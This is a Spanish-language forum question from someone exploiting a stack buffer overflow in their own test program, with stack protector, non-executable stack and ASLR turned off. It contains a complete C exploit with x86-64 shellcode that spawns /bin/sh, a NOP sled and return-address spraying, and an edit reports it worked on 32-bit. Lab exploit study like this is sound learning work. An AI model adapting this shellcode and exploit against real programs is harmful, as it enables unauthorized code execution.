Estoy intentando explotar una vulnerabilidad de desbordamiento de búfer estándar en un programa que usa strcpy()
para llenar un búfer de 200 char
, sin verificar los límites, y compilado con -z execstack
y -fno-stack-protector
. También he deshabilitado el kernel randomize_va_space.
Lo primero que hago es abrir gdb, pruebo la longitud correcta para sobrescribir el addr de retorno, es 222, así que escribí un programa exploit.c como se muestra:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
char *shellcode = "\x48\x31\xc0\x48\x83\xc0\x3b\x48\x31\xff\x57\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x8d\x3c\x24\x48\x31\xf6\x48\x31\xd2\x0f\x05";
#define BUFF_SIZE 222
unsigned long get_sp(void){
__asm__("mov %rsp, %rax");
}
int main(int argc, char *argv[]){
if (argc != 2){
printf("give one argument\n");
exit(0);
}
long *addr_ptr, ret, esp;
int offset, i;
char *ptr, buffer[BUFF_SIZE];
offset = atoi(argv[1]);
esp = get_sp();
ret = esp - offset;
printf("esp:0x%016lx\tret:0x%016lx\n", esp, ret);
ptr = buffer;
addr_ptr = (long*)(buffer);
//Filling the buffer
for(i=0;i<BUFF_SIZE;i+=8){
*(addr_ptr++) = ret;
};
for(i=0;i<BUFF_SIZE/2;i++){
*(ptr+i) = '\x90';
};
for(i=0;i<strlen(shellcode);i++){
*(ptr+i+16) = shellcode[i];
};
buffer[BUFF_SIZE-1] = '\x0';
execl("./buffer_vuln", "buffer_vuln", buffer, NULL);
};
Esto envía el exploit a mi programa "buffer_vuln"; Relleno el búfer con ret (que se modifica por un desplazamiento), y un sled NOP que conduce al shellcode. No obtuve ningún resultado al intentar esto, incluso en un rango de compensación largo (-250, 3000). El programa específico imprime la dirección y el contenido de su matriz, todo parece correcto pero no puedo ver las direcciones de devolución impresas después de los NOP, me pregunto dónde no se puede abrir una shell.
-Editar-
Cambié a 32 bits para que la dirección de la pila no contenga ningún cero. También compilé el código shell y me aseguré de que funcionara por su cuenta. ¡Explotación funciona! Voy a intentar amd64 ahora, gracias!